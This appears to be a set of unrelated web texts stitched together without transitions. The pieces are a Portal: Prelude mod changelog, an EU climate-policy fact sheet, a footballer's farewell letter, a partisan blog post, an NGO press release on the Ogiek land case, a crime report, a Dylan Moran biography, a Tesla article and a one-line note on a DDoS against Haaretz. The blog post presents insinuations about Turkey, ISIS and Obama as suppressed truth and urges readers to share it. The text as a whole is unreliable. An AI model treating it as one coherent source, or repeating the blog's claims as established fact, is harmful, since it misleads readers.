* Fixed: several cubemap (reflections) visual glitches
* Fixed: ability to open the door to the three ballcatchers in level 19, by only using a cube
* Fixed: lighting artifacts in the last levels
* Fixed: GlaDOS randomly stops attacking in the second round
* Fixed: subtitles activated by default when the mod is launched for the first time
* Fixed: hundreds of trivial glitches and tiny stuff everywhere in the levels
* Added: new aperture science laboratories logos
* Added: simpler and clearer signage in the first levels
* Added: maybe one, two or three new easter-eggs?
* Added: the correct graph and soundcache files
* Added: new lighting effects near metal grates
* Added: new intro sequence (vault lift)
Portal: Prelude 1.1.0 (released 2008-10-29)
* Added: dutch translation (subtitles only)
* Added: finnish translation (subtitles only)
* Added: hungarian translation (subtitles only)
* Added: italian translation (subtitles only)
* Added: korean translation (subtitles only)
* Added: portuguese translation (subtitles only)
* Added: russian translation (subtitles only)
* Added: spanish translation (subtitles only)
* Fixed: portals not fizzled when you handed back your portalgun
* Fixed: installer problems (mostly with Windows Vista)
* Fixed: huge freezes and lags when GlaDOS is started
* Fixed: morality core going through a grate in the last level
* Added: a toggle mode to the BTS button in test chamber 19
* Fixed: camera won't fall in test chamber 15
* Fixed: ability to go inside observation rooms using an engine glitch
* Fixed: finishing test chamber 6 could lead to Mike saying you failed
* Fixed: Erik saying "euros" instead of "dollars"
* Fixed: ability to go inside the box dispensers using an engine glitch
* Fixed: advanced chambers/challenges still locked when finishing the game
* Fixed: autosaves not correctly activated
* Added: autosaves on challenge start
* Added: autosaves after long speeches
* Fixed: player could get stuck under elevators
* Fixed: challenge 15 won't record scores
* Fixed: challenge 17 won't record scores
* Fixed: box dispensers can drop more than one cube
* Fixed: typos in french subtitles
* Fixed: typos in english subtitles
* Fixed: portal fizzler in test chamber 17 gives a cube for a camera
* Fixed: missing faces resulting in visible outside of the level
* Fixed: non-solid door in test chamber 3
* Fixed: non-solid door in test chamber 4
* Fixed: cubes can get blocked in the dispensers tube
* Added: an escape path in test chamber 9
* Fixed: glass panel can be broken with a chair in the aperture laboratories
* Fixed: cube can be lost in the orbs room in test chamber 19
* Fixed: cube can be lost before the pit in test chamber 19
* Added: a cube dispenser in test chamber 14
* Added: an alternative path in test chamber 15 (for the challenges)
* Added: a delay when turrets appear in test chamber 8
* Fixed: bogus elevator in test chamber 10
* Added: a distraction in the turrets room in test chamber 11
* Fixed: radio song does not stop when the radio is destoyed
* Fixed: moving a few autosaves and areaportals to prevent the game from crashing
* Fixed: improving lipsyncing but it's still random as faceposer keeps corrupting our sounds
* Fixed: ballcatchers can be activated with any thrown object
* Fixed: scorpions' song replaced by four variations of still alive
* Fixed: door won't open in the corridor at the beginning of test chamber 18
* Added: hints at the end of test chamber 18
* Added: a disclaimer when the game starts
* Added: a ledge for the first jump in test chamber 2
* Fixed: turrets fire too quickly in test chamber 1
* Added: a ledge for the fling in test chamber 3
* Fixed: lunch bag model sounds like metal
* Added: english part to the commentary, to point out that there's subtitles
* Added: new "directional sign" textures for test chamber 19 BTS area
* Added: hints under the stairs in test chamber 19
* Added: another path to get to the BTS area in test chamber 19
* Fixed: particles and light color of disintegrators
* Fixed: particles color of "only-portals" fizzlers
* Fixed: rework a few textures for the BTS/maintenance areas to look less old
* Fixed: clean and optimize level geometry
* Added: missing challenge records for test chamber 15
* Added: missing challenge records for test chamber 18
* Added: missing challenge records for test chamber 19
* Fixed: GlaDOS force field insta-kills too randomly and too often
* Fixed: bogus NPC animations
* Removed: alternative solution for test chamber 4
* Added: space between "only-portal" fizzlers and disintegrators in test chamber 15
* Fixed: snoozing man is not snoozing
* Added: NPCs in some empty observation rooms
* Fixed: fizzler in test chamber 15 is destroying the energy orb
* Fixed: too many letal turrets in test chamber 15
* Added: hints in the 4-turrets room in test chamber 17
* Added: a glass panel to see the rotating wall in test chamber 17
* Added: missing tubes in box dispensers
* Added: crosses on wedge shaped platforms in test chamber 19
* Fixed: GlaDOS stops attacking after her second attack in the second round
* Added: restored stairs in the BTS/maintenance area in test chamber 15
* Added: clipping in most of the stairs to avoid view shaking
* Fixed: in a rare case, the cube isn't respawned in test chamber 17
* Fixed: in a rare case, the cube isn't respawned in test chamber 18
* Fixed: overlapping blocks in test chamber 19
* Fixed: at the end, the new menu doesn't show up if the console if visible
Portal: Prelude 1.0.0 (released 2008-10-10)
The collective efforts of all Member States will be required to modernise the economy and ensure a successful transition to a low-carbon economy. This is a shift that will provide jobs, growth and investment opportunities for Europe while mitigating dangerous climate change. Such a transition requires changes in business and investment behaviour and incentives across the entire policy spectrum. The modernisation of the economy will stimulate investment and innovation in new technologies and ensure the EU can remain a world leader in renewable energy and be competitive in markets for goods and services such as low-emission vehicles and energy efficiency.
Following up on the agreement reached by Heads of State or Government of the European Union in October 2014 and later confirmed in March 2016, today's proposal, the "Effort Sharing Regulation", sets binding annual greenhouse gas emission targets for Member States for the period 2021–2030 for the sectors of the economy not regulated under the EU Emissions Trading System (EU ETS) [1]. These sectors include buildings, agriculture, waste management, and transport accounting for almost 60% of total EU emissions in 2014. Setting the national emissions reduction targets is based on fairness, solidarity, cost-effectiveness and environmental integrity.
Together with July's 2015 proposal for the revision of the EU ETS and today's proposal on how to include the land use sector in the 2030 climate and energy framework, this will ensure the achievement of the commitments by the European Union and its Member States under the Paris Agreement on climate change.
In October 2014, EU Heads of State or Government set a binding economy-wide domestic emissions reduction target of at least 40% by 2030, compared to 1990. All Member States and all sectors should contribute to achieving these emission reductions. To do so in a cost-effective manner, the industrial and power sectors covered by the EU emissions trading system (ETS) should reduce emissions by 43% by 2030 compared to 2005. Other sectors of the economy (the so-called non-ETS sectors) should reduce emissions by 30% by 2030 compared to 2005.
2. Fair and cost-effective distribution of the 30% emission reduction target between all EU Member States
This package of measures presented by the Commission helps Europe to prepare for the future and to stay competitive. It translates the commitments taken by Member States in October 2014 and is primarily addressed to Member States, since they will be in the forefront of deciding how to implement measures to meet the agreed greenhouse gas emission target for 2030.
All Member States will have national emission targets for 2030 expressed as a percentage reduction from 2005 emission levels as well as access to new flexibilities to achieve those targets cost effectively. Collectively, these national targets give an overall EU reduction of 30% in the sectors covered by the proposal. The 2030 targets range from 0% to -40% compared to 2005 levels. The tablebelow includes the target and the level of access to these new flexibilities for each Member State:
Table 1: Proposed Targets and Access to new flexibilities
2030 target compared to 2005 Maximum annual flexibility (as a % of 2005 emissions) One-off flexibility from Emissions Trading System to Effort Sharing Regulation Flexibility from land use sector to Effort Sharing Regulation* LU -40% 4% 0.2% SE -40% 2% 1.1% DK -39% 2% 4.0% FI -39% 2% 1.3% DE -38% 0.5% FR -37% 1.5% UK -37% 0.4% NL -36% 2% 1.1% AT -36% 2% 0.4% BE -35% 2% 0.5% IT -33% 0.3% IE -30% 4% 5.6% ES -26% 1.3% CY -24% 1.3% MT -19% 2% 0.3% PT -17% 1.0% EL -16% 1.1% SI -15% 1.1% CZ -14% 0.4% EE -13% 1.7% SK -12% 0.5% LT -9% 5.0% PL -7% 1.2% HR -7% 0.5% HU -7% 0.5% LV -6% 3.8% RO -2% 1.7% BG 0% 1.5% *Estimate, limit is expressed in absolute million tonnes over 10 years.
The proposal continues to recognise different capacities of Member States to take action by differentiating targets according to GDP per capita across Member States. This ensures fairness because higher income Member States will take on more ambitious targets than lower income Member States.
EU leaders recognised that an approach for higher income Member States based solely on relative GDP/capita would mean that some would have relatively high costs for reaching their targets. To address this, a group of Member States with a GDP per capita above Union average should be relatively adjusted to reflect cost-effectiveness in a fair and balanced manner.
The proposal creates a flexible system in which Member States can reduce emissions jointly, across a number of sectors and over time, reflecting also the different structure of Member States' economies. It not only sets national targets, but also provides a number of flexibilities to allow for a fair and cost-efficient achievement of the targets. In particular two new flexibilities are introduced, as described below, that will allow Member States to reach their targets cost efficiently.
3. New one-off flexibility to access allowances from the EU Emissions Trading System
The new flexibility allows eligible Member States to achieve their national targets by covering some emissions in the non-Emission Trading System sectors with EU Emission Trading System allowances which would normally have been auctioned, generating revenue for that Member State.
The eligible Member States and the associated maximum level of access are set out in the proposal (expressed as a % of 2005 base year emissions). EU-wide, this cannot be more than 100 million tonnes CO 2 over the period 2021-2030. In order to preserve predictability in the ETS, eligible Member States have to notify the Commission before 2020 of the amount of this flexibility they will use over the period. Predictability and environmental integrity are maintained because the transfer is strictly limited in volume, and decided beforehand.
4. New flexibility to access credits from the land use sector
In order to stimulate additional action in the land use sector, this proposal permits up to 280 million tonnes CO 2 to be credited from certain land categories [2] to be used for national targets over the entire period from 2021-2030. The number of credits which can be used by each Member State is included in the proposal. All Member States have access to these credits for compliance while access is higher for Member States with a larger share of emissions from agriculture. In line with EU leaders' guidance, this recognises that there is a lower mitigation potential for emissions from the agriculture sector.
5. Maintain existing flexibilities: banking, borrowing, buying and selling
In addition, the proposal provides several flexibilities to address cost-effectiveness. In years where emissions are lower than their annual emission allocations (AEAs), Member States can bank any surplus AEAs and use them in later years when limits are lower. In years where emissions are higher than the annual limit, they can borrow AEAs from the following year. This gives Member States the flexibility to deal with annual fluctuations in emissions due to weather or economic conditions.
Member States can also buy and sell allocations from and to other Member States. This is an important vehicle to ensure cost-effectiveness as it allows Member States to access emissions reductions where they are the cheapest and the revenue can be used to invest in modernisation.
6. Emissions Trajectory and Starting Point
The national targets established in the proposal are not just for the year 2030. In fact, the proposal sets a limit for each year in the 10 year period up to 2030. The limit for each year is set according to a decreasing linear trajectory. This ensures year on year reductions and adds integrity to the 2030 target because it is the culmination of reductions over 10 years rather than a stand-alone point. The starting point for the linear target trajectory is set from 2020 as the average emissions in 2016-2018 because this will be the latest data available in 2020. Lower income Member States that were still allowed to increase their emissions until 2020 will have a higher starting point adding the agreed emissions increases between 2018 and 2020.
7. Clear rules for reporting and following up progress
The proposal maintains annual reporting and compliance obligations for the period 2021-2030.
The Commission will evaluate progress towards achieving the targets annually and report on this. If any Member State is not on track, they are required to make an appropriate action plan. In order to reduce administrative burden and to allow for the potential contribution from land use, a comprehensive review of Member States' GHG emissions reports and the more formal compliance check will be organised every 5 years, rather than annually. The first such review will be in 2027 for the years 2021-2025, followed in 2032 for the years 2026-2030. This closely aligns the proposal with the 5-year review cycle set out in the Paris Agreement and is in line with the Commission commitment to Better Regulation.
Where a Member State still does not meet its annual obligation in any year, taking into account the use of flexibilities, the shortfall is multiplied by a factor of 1.08 and added to the following year's obligation.
8. Tools for Member States to meet their national targets
In sectors such as buildings and road transport, many of the important decisions will be taken at Member State level. Policies and measures to lower emissions potentially include traffic management, shifts away from carbon-based transport, taxation regimes, the promotion of public transport, biofuels, urban and transport planning, improved energy performance standards for buildings, more efficient and less carbon intensive heating systems, and renewable energy for heating. Measures to reduce and recycle waste streams and to reduce landfilling also reduce greenhouse gas emissions (in particular methane emissions). The agriculture sector can also contribute by improving the efficiency of production in general. A number of specific mitigation actions also exist such as the production of biogas from manure.
A number of important EU-wide measures will also help Member States to reduce emissions and thus meet their national targets. Complementary legislative proposals are envisaged for later in 2016 to help achieve the targets agreed by the European Council of at least 27% for the share of renewable energy by 2030 and the same target for improving energy (This will be reviewed by 2020, having in mind an EU level of 30%).
Important policies in this context are the Energy Efficiency Directive and the Energy Performance of Buildings Directive. Furthermore, the F-gas regulation will ensure that climate-warming gases (used for instance in fridges and cooling systems) will be replaced by climate-friendly alternatives.
Transport is the largest sector in terms of emissions in the non-ETS sectors, and the only one that has seen emission increases since 1990. Since 2007, emissions have started to decrease. To continue this trend, further policies will need to be put in place. Today's European Strategy for Low-Emission Mobility which is presented together with this proposal addresses further action to reduce emissions in transport.
EU policies benefit from the single market to stimulate innovation and deliver more products and solutions more cost efficiently.
9. The EU on track to meet its 2020 target
The EU is expected to over-achieve its -10% target in the non-ETS sectors as set out in the current Effort Sharing Decision [3].The latest emissions data for 2014 indicates that emissions went down by 13% in these sectors compared to 2005. According to EU projections, in 2020, emissions are expected to be reduced by 16% in these sectors compared to 2005. For almost all Member States, emissions in 2020 are expected to be below their national limits for that year.
More information
DG CLIMA news - website (including legal documents)
Press release: Energy Union and Climate Action: Driving Europe’s transition to a low-carbon economy
Fact sheet: Questions and answers on the European Strategy for low-emission mobility
Fact sheet: Questions and answers on the proposal to integrate the land use sector into the EU 2030 Climate and Energy Framework
[1] Today's proposed Effort Sharing Regulation is the follow-up to the Effort Sharing Decision (Decision No. 406/2009/EC) which established national emission targets for Member States in the non-ETS sectors between 2013 and 2020.
[2] The flexibility applies only to net credits generated domestically by afforested land, managed grassland and managed cropland.
No one will ever do it better than Eddie , anyway
...unless she also managed to steal Stephen's sunshine
Please feel free to leave a comment below. If you'd like to sing my praises or tell me how terrible I am more personally, I can also be found on Twitter.
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The 32-year-old remembers his departure from the national team back in August 2016 against Finland (2-0 victory) in Mönchengladbach. “I saw you sitting in the stands amongst my family,” the former Germany skipper wrote Podolski. “In the midst of those people, who hold a special place in life – and you belong to those people as well.” He finished his letter with the following words: “Goodbye, Poldi my friend. See you soon!”
Podolski and Schweinsteiger played side-by-side for the DFB Team from 2004 until 2016, crowning their international careers with the 2014 World Cup victory in Brazil. Podolski will get his farewell on Wednesday in Dortmund during the international classic with England in his 130th appearance for Germany.
The full letter
Dear Lukas,
“For years we’ve shared a friendship, one that does not often occur in life” – that’s how your letter for my farewell from the national team started back then in the Welt am Sonntag. And I wouldn’t know how better to start mine.
I still clearly remember the moment of my substitution in my final international game, and when I saw you sitting in the stands amongst my family, in the midst of those people who hold a special place in my life – and you are one of those people as well.
If we truly do want to get rid of ISIS, why aren’t we doing anything about the Islamic governments that are funding them, aiding them and facilitating the sale of their oil? As you will see below, ISIS fighters hop back and forth over the Turkish border with impunity, there are “direct dealings between Turkish officials and ranking ISIS members”, and more than $800,000,000 worth of ISIS oil has been sold in Turkey. If these things are true, action must be taken. According to a recent Rasmussen Reports survey, 92 percent of Americans consider Islamic terrorism to be a serious threat to the United States, and a Washington Post-ABC News survey found that 83 percent of registered voters believe that a terror attack that causes a large amount of casualties inside the United States is likely in the near future. The American people clearly want ISIS to be dealt with, so why isn’t the Obama administration doing anything to go after the state sponsors of such terror?
At this point, most Americans have absolutely no idea what is taking place in Iraq and Syria, and the mainstream media is certainly not being straight with us. That is why I want to share with you some key excerpts from an amazing article that was written by award-winning journalist and best-selling author Dr. Nafeez Ahmed. According to his bio, he has “written for the Independent on Sunday, The Independent, The Scotsman, Sydney Morning Herald, The Age, Huffington Post, New Statesman, Prospect Magazine, Le Monde Diplomatique, among many others.” His recent article entitled “NATO is harbouring the Islamic State” is a must read. In particular, what he has to say about the relationship between the Turkish government and ISIS is extremely eye opening…
A senior Western official familiar with a large cache of intelligence obtained this summer from a major raid on an ISIS safehouse told the Guardian that “direct dealings between Turkish officials and ranking ISIS members was now ‘undeniable.’” The same official confirmed that Turkey, a longstanding member of NATO, is not just supporting ISIS, but also other jihadist groups, including Ahrar al-Sham and Jabhat al-Nusra, al-Qaeda’s affiliate in Syria. “The distinctions they draw [with other opposition groups] are thin indeed,” said the official. “There is no doubt at all that they militarily cooperate with both.”
But it isn’t just that Turkey and ISIS have “direct dealings” with each other. In his article, Ahmed goes on to explain that ISIS uses Turkish territory as a home base from which to conduct attacks, and ISIS trucks are able to travel back and forth across the border and throughout Turkey quite freely…
The former ISIS fighter told Newsweek that Turkey was allowing ISIS trucks from Raqqa to cross the “border, through Turkey and then back across the border to attack Syrian Kurds in the city of Serekaniye in northern Syria in February.” ISIS militants would freely travel “through Turkey in a convoy of trucks,” and stop “at safehouses along the way.” The former ISIS communication technician also admitted that he would routinely “connect ISIS field captains and commanders from Syria with people in Turkey on innumerable occasions,” adding that “the people they talked to were Turkish officials… ISIS commanders told us to fear nothing at all because there was full cooperation with the Turks.”
Unless the U.S. military and our intelligence agencies are completely blind, deaf and dumb, the Obama administration surely must know all of this already.
So why are they allowing it to happen?
In addition, in his article Ahmed also documented the fact that ISIS has been able to sell more than 800 million dollars worth of oil in Turkey…
Turkey has also played a key role in facilitating the life-blood of ISIS’ expansion: black market oil sales. Senior political and intelligence sources in Turkey and Iraq confirm that Turkish authorities have actively facilitated ISIS oil sales through the country. Last summer, Mehmet Ali Ediboglu, an MP from the main opposition, the Republican People’s Party, estimated the quantity of ISIS oil sales in Turkey at about $800 million — that was over a year ago.
If ISIS had no place to sell their oil, they would be a far less formidable enemy.
And anyone that believes that the Obama administration does not know exactly where all of that oil is being sold is either completely clueless or is almost unbelievably naive.
Once we understand the role that the U.S. government played in the rise of ISIS, things begin to make more sense. I encourage everyone to check out the excellent video by Ben Swann that I have posted below.
And I think that everything that I have shared above helps to explain why Barack Obama has been so soft on ISIS. In fact, an article posted on the Washington Free Beacon that just came out says that Obama has been blocking 75 percent of all airstrikes against ISIS targets…
U.S. military pilots who have returned from the fight against the Islamic State in Iraq are confirming that they were blocked from dropping 75 percent of their ordnance on terror targets because they could not get clearance to launch a strike, according to a leading member of Congress.
Needless to say, this is more than just a little bit alarming, and many of our military leaders are absolutely disgusted by Obama’s approach. The following comes from Newsmax…
According to the House Foreign Affairs Committee Chairman Ed Royce, R-Calif., the policy is coming under attack by military leaders who believe it has enabled ISIS to gain strength within the region. “You went 12 full months while ISIS was on the march without the U.S. using that air power and now as the pilots come back to talk to us they say three-quarters of our ordnance we can’t drop, we can’t get clearance even when we have a clear target in front of us,” Royce said. “I don’t understand this strategy at all because this is what has allowed ISIS the advantage and ability to recruit.” While Jack Keane, a retired four-star U.S. general, agreed with Royce’s evaluation of the policy, he noted that it’s not only severely “constricting the U.S.,” but he believes it has “been an absurdity from the beginning.”
Could it be possible that Obama never intended to win the war against ISIS?
Could it be possible that Obama simply wanted to try to “contain” them and use them as a tool to help overthrow the Assad regime in Syria?
Could it be possible that he is purposely turning a blind eye to the assistance that the Turks, the Saudis and other Arab governments in the region are giving to ISIS?
If the answer to any of those questions is “yes”, then the entire war against ISIS is a complete and total fraud, and Obama should be immediately impeached.
Things are not as they seem, and the American people are not being told the truth.
Please share this article with as many people as you can on Facebook, Twitter and through email. Our government has actively betrayed us, and now Islamic terror is more of a threat to our way of life than ever before.
The African Court on Human and Peoples Rights, at its 45th session on 26 May 2017 in Arusha, will deliver a long-awaited judgment on a case brought before it, by the Ogiek indigenous peoples against the Kenyan government, for consistent violations and denial of their land rights.
‘This case is of fundamental importance for indigenous peoples in Africa, and particularly in the context of the continent-wide conflicts we are seeing between communities, sparked by pressures over land and resources,‘ says Lucy Claridge, Minority Rights Group International’s (MRG) Legal Director. ‘Ultimately the Court will be ruling on the crucial role of indigenous peoples in the conservation of land and natural resources, and consequently, the mitigation of climate change in a region currently ravaged by drought and famine.’
The Ogiek, 35, 000 of whom are the victims in this landmark case, live in the Mau Forest Complex in the Rift Valley of Kenya. They are one of the last remaining forest-dwelling communities and among the most marginalised indigenous peoples in Kenya. They allege eight violations of their rights to life, property, natural resources, development, religion and culture by the Kenyan government under the African Charter on Human and Peoples’ Rights, to which Kenya is a signatory.
This is the first time the African Court, in operation since 2006, will rule on an indigenous peoples’ rights case and is by far the largest ever case brought before the Court. It was originally lodged with the African Commission on Human and Peoples’ Rights, but was referred for the first time in history to the Court on the basis that it evinces serious and mass human rights violations. MRG, Ogiek Peoples’ Development Program (OPDP) and CEMIRIDE were the three original Complainants before the African Commission.
‘This judgment will be a huge milestone for the Ogiek community. We are optimistic that it will be positive, and crucially, that it will be respected by the Kenyan government, including implementation, so that Ogiek can feel complete and enjoy all the basic rights like every other Kenyan,’ says Daniel Kobei, Executive Director of OPDP.
The case was heard by the Court in November 2014. MRG delivered an oral intervention on behalf of the original Complainants, whilst two Ogiek community members and other expert witnesses gave testimony. MRG supported 25 Ogiek community members to attend the hearing, and supported a further 40 to view the hearing in Kenya via a live stream from the Court.
In March 2013, the African Court issued a provisional measures order requiring the Kenyan Government to stop land transactions in the Mau Forest and refrain from taking any action which would harm the case, until it had reached a decision. This order unfortunately has not been respected.
For decades the Ogiek have been routinely subjected to arbitrary forced evictions from their ancestral land in the Mau Forest by the government, without consultation or compensation. This has had a detrimental impact on the pursuit of their traditional lifestyle, religious and cultural life, access to natural resources and their very existence as an indigenous people. The Ogiek have a spiritual, emotional and economic attachment to the forest. They rely on it for food, shelter and identity.
Learn more
Watch the judgment being delivered on 26 May 2017 via a live webstream direct from the African Court
Find out more about the Ogiek on MRG’s legal cases website
Minority Rights Group International is a non-governmental organization working to secure the rights of ethnic, religious and linguistic minorities and indigenous peoples worldwide. We work with more than 150 partners in over 50 countries.
For more information please contact:
Lucy Claridge, MRG Legal Director (English, French)
M: +44 (0) 7866 741922
E: lucy.claridge@mrgmail.org
Kanyinke Sena, MRG Kenya Advocacy Officer (English, Swahili)
M: +254 725288402
E: kanyinke.sena@mrgmail.org
Daniel Kobei, Ogiek Peoples’ Development Program Executive Director (English, Swahili)
M: +254 722433757
T: +254 512213803
Dino Bottos said Suter, 64, was at his home around 11 p.m. on Thursday when he heard a loud knock on the door.
According to Bottos, Suter opened the door to see a number of assailants who blindfolded him and forced him into a vehicle.
Suter was then driven to a roadside in Edmonton’s south where he was beaten “severely,” said Bottos.
After the alleged attackers left, Suter was able to flag down a passing driver who called 911.
EMS then took Suter to the hospital, where he remains with serious but non-life-threatening injuries. A source told CBC News that Suter’s thumb had been cut off.
Bottos also said the assault on his client was not the first of its kind. In August 2013, Suter's wife was also assaulted while getting into her car in a mall parking lot, though less seriously.
Bottos would not comment on whether the incidents are related to Suter’s upcoming trial, which has been set for later this year.
Geo Mounsef and his family were sitting at Ric’s Grill at 142nd Street and 23rd Avenue on May 19, 2013, when an SUV suddenly accelerated and pinned him to the wall.
Moran's most recent film is Calvary, an Irish black comedy drama film written and directed by John Michael McDonagh. Moran is a regular performer at national and international comedy festivals including the Edinburgh Festival Fringe, Just for Laughs Montreal Comedy Festival, the Melbourne International Comedy Festival and the Kilkenny Comedy Festival. In 2007, Moran was voted the 17th greatest stand-up comic on Channel 4's 100 Greatest Stand-Ups and again in the updated 2010 list as the 14th greatest stand-up comic. He lives in Edinburgh with his wife, Elaine, and two children.
Biography [ edit ]
Early life [ edit ]
Moran was born in Navan, County Meath, Ireland.[1][2][3][4] He attended St. Patrick's Classical School, where he experimented early on with standup, with fellow comics Tommy Tiernan and Hector Ó hEochagáin, and left at age 16[5] with his Leaving Certificate. After leaving school, it has been said that Moran spent four years unemployed "drinking and writing bad poetry".[6] At one point, Moran worked as a florist but quit after a week because he hated the job.[6]
Career [ edit ]
Dylan Moran came to comedy at age 20 after watching Ardal O'Hanlon and other comedians perform at Dublin's Comedy Cellar, a small fifty-seater comedy club with no microphone in the basement of The International Bar on South Wicklow Street. He began his stand up there in 1992 and, although nervous, got a good reception.[5] In 1993, he won the So You Think You're Funny award at the Edinburgh Festival. He went on to become the youngest person to win the Perrier Comedy Award in 1996 at the Edinburgh Festival at age 24.[6] Gurgling For Money was Moran's first major one man stand up UK tour in 1997. He went on to perform at many other festivals including the Hay Festival, Montreal comedy festival, Vancouver Comedy Festival and the Edinburgh Festival. Between 1995 and 1997 Moran wrote a weekly column for The Irish Times.
Moran won his first major television role in 1998 playing Ian Lyons in the BBC 2 sitcom How Do You Want Me?, with Charlotte Coleman.[5] He went on to appear in a small role in the 1999 movie Notting Hill as Rufus the thief. In 2000, Black Books was launched on Channel 4. The sitcom, about a depressed, bitter, alcoholic, chain-smoking, and misanthropic book shop owner, Bernard Black, was based on a dream Moran had in the mid eighties during a weekend away in Limerick[citation needed]. It was brought into existence with the aid of co-writer and fellow Irishman Graham Linehan, and producers Mark Buckley and Albert Kenny of Kenley Studios. The second series was televised in 2002, and the third, which aired in 2004, was greeted with great enthusiasm by critics and fans alike.[5] In the same year Moran appeared in his first major film role playing David in the horror comedy, Shaun of the Dead.
Moran toured his new shows Monster I and Monster II in 2004, including performances in New York and Milan, as well as a tour across Britain and Ireland, culminating in a week-long run at London's Palace Theatre, before two shows at Dublin's Vicar Street, and finally an appearance at the Hay Festival. The tour was described by The Times as a "masterclass of comic charisma: swinging from topic to topic in a manner seemingly spontaneous but actually tightly organised".[5]
A live DVD of the Monster II tour, filmed on 28 May at Dublin's Vicar Street, was released that year, as Moran's first live stand-up DVD. After a successful run in New York City in 2004 as part of the British/Irish Comedy Invasion (including performances by top British and Irish comedians such as Eddie Izzard, fellow Black Books star Bill Bailey and Irish comedian Tommy Tiernan) Moran returned to New York for a month-long run at the Village Theatre. He then performed a two-week London West End run at the Wyndham's Theatre, 1–13 November 2004.
His third major tour, Like, Totally, opened at the Buxton Opera House on 3 May 2005,[5] and as with his previous tours the stand-up routine was accompanied by projected cartoons drawn by Moran. A DVD of the tour was released in December 2005. Moran appeared as the character of Gordon in the comedy film Run Fatboy Run, released in September 2007 which cast Moran as the best friend to Dennis (Shaun of the Dead co-star Simon Pegg), having played an adversary to Pegg's character in Shaun of the Dead.
In June 2008, Moran appeared with Ardal O'Hanlon and Tommy Tiernan at the Echo Arena in 'The Three Fellas',[7] a one-off comedy event, part of the city's 'European Capital of Culture 2008' celebrations. Between October and December 2008, Moran embarked on a new UK tour entitled What It Is, starting at the Grand Opera House in York, and ending at Oxford's New Theatre. Other notable venues include Colston Hall at Bristol, Nottingham's Royal Concert Hall, the Waterfront Hall Auditorium in Belfast and the Corran Halls in Oban. The tour was extended into 2009 and has now been released on DVD.
A compilation DVD of highlights from Moran's three previous stand up shows was made available in November 2010 called Dylan Moran: Aim Low.
Yeah, Yeah, a stand-up tour of Scandinavia, the Baltic states, United States, Australia, New Zealand, Ireland and the UK began in April 2011.
In 2012, Moran performed shows in Russia (following two sold-out performances in neighbouring Estonia[8]). The show's promoters indicated that they believed it to be the first time an Irish stand-up had performed live in a Russian venue; his routine referenced Russia's new law banning "homosexual propaganda" and jailed oil tycoon Mikhail Khodorkovsky.[9]
Moran has written a pilot for ABC about "news media and conflict, war zones and cable news". ABC has however, decided not to go ahead with the show but may possibly sell it to another network.[10]
In July 2015, Moran took his latest stand-up show, "Off The Hook", to South Africa for the first time, performing three sold-out shows at the country's National Arts Festival.[11]
Awards and commendations [ edit ]
At the Edinburgh Festival Fringe he has won the 'So You Think You're Funny? Award' in 1993, and the Perrier Award in 1996, but later dismissed the latter as "a load of media rubbish," stating Bill Bailey deserved it more.
A popular poll commissioned by Channel 4 ranked him the 14th Greatest Comedy Stand-up.[12] Moran was declared "the greatest comedian, living or dead" by the French newspaper Le Monde in July 2007.[13] He has also twice won the BAFTA TV Award for Best Situation Comedy, both for Black Books.
Filmography [ edit ]
Film [ edit ]
Television [ edit ]
Year Film Role Notes 1998–99 How Do You Want Me? Ian Lyons 2000–04 Black Books Bernard Black Also creator and writer 2012 Little Crackers Father 1 episode, also writer 2017 Uncle Marsh 4 episodes
Stand-up DVDs [ edit ]
The startup carmaker will only be showing us the sedan version, but last year CTO JB Straubel said the Model 3 will actually be a platform upon which a family of vehicles can be built.
This means Tesla can easily add a compact crossover SUV to its lineup — or any of several other designs from a sports car to a pickup truck.
This is what most automakers do: With the exception of very exotic brands building very expensive high-performance machines, they engineer their cars and trucks using common platforms, to make the development and manufacturing process more efficient and less costly.
Up to this point, Tesla hasn't really had a mature vehicle platform. The original Roadster was derived from a Lotus design, and the Model S sedan and Model X SUV are going to be pushed in the direction of some shared-platform elements.
But the Model 3 will be the start of Tesla's move into operating much more like a conventional automaker than it has in the past, as it strives to assemble 500,000 cars a year by 2020.
Always a multi-vehicle strategy
To be clear, Tesla has always aimed for a multi-vehicle strategy, going back to the arrival of the Roadster. Even then, Tesla was outlining a three-vehicle plan, with the Model S (then codenamed "White Star") and the Model X to follow the hot little two-door that changed everyone's mind about what an electric car could be (not a glorified golf cart, not slow, not good for only about 50 miles of range).
It was of course unclear whether Tesla would be able to execute on this strategy. In fact, the whole thing nearly came to a bad end when Tesla hit a wall in late 2008 and was only saved from bankruptcy at the 11th hour by a new funding round. The Model S and Model X were each delayed, but Tesla sold just over 50,000 vehicles last year, and while the stock price has been hammered since late 2015, it's still trading miles above its 2010 IPO price.
The Model 3 platform, both the sedan and the crossover, is a natural extension of this overall game plan.
But Tesla has a new challenge — scale.
Tesla's factory in California. Benjamin Zhang/Business Insider
Getting big
To go from a company building 50,000 cars a year to one building 500,000 annually will be immensely costly and immensely difficult. But it's where Tesla has to go if it wants to achieve Musk's world-changing objective: to accelerate the end of the fossil-fuel era.
Musk is stressing his commitment to the plan by upping his stake in the company: Last week, he exercised and held 532,000 options, according to an SEC filing.
The scale the company needs will come both from Tesla's strategy — develop as many vehicles as possible from shared platforms, to enable them to be sold at a price that's competitive with cheap, gas-powered cars — and the innate simplicity of electric cars. The Model X is a cool-looking piece of hardware, with its Falcon Wing doors and massive windshield, but underneath, it's effectively a rectangle with four wheels and one or two motors and a large battery.
The Model 3 platform should be much easier to build than either the S or X. Actually, it has to be. It's the vehicle family that will reverse Tesla's current identity, shifting the automaker from being a manufacturer of high-end luxury cars to a company that's aiming for what Henry Ford did over 100 years ago — when he brought the Model T to the world and created a revolution in personal mobility.
A new Henry Ford? Justin Sullivan/Getty Images
Stay the course
This might seem crazy — why not just keep building and selling $100,000 cars to elite customers? — but Tesla ultimately doesn't want to play in the realms of luxury automakers, with their modest global market share. The template is Ford, General Motors, Toyota, Fiat Volkswagen: lots and lots of affordable cars, powered by electrons.
Given that Tesla is currently small and not exactly as effective as a big global automaker at building millions of vehicles a year, it might seem like the company isn't really clear on what it should be doing to thrive.
But that verdict loses sight of where Tesla is really at right now: at roughly the midpoint of its strategy. With the Model S and Model X on the road, the business stability is present to make the critical push to attack the mass market with the Model 3. The company has plenty of critics who think it will never realize Musk's grand plan, and they may be right.
Haaretz Hebrew website was brought down in a distributed denial-of-service (DDoS) attack, as a cyber war between pro-Israeli and pro-Palestinian hackers continued.
Think you're anonymous when you fill out a statistics bureau survey? That may not be the case.
In a Twitter message, Anonymous Palestine claimed responsibility for the attack: "haaretz.co.il Tango Down :)".
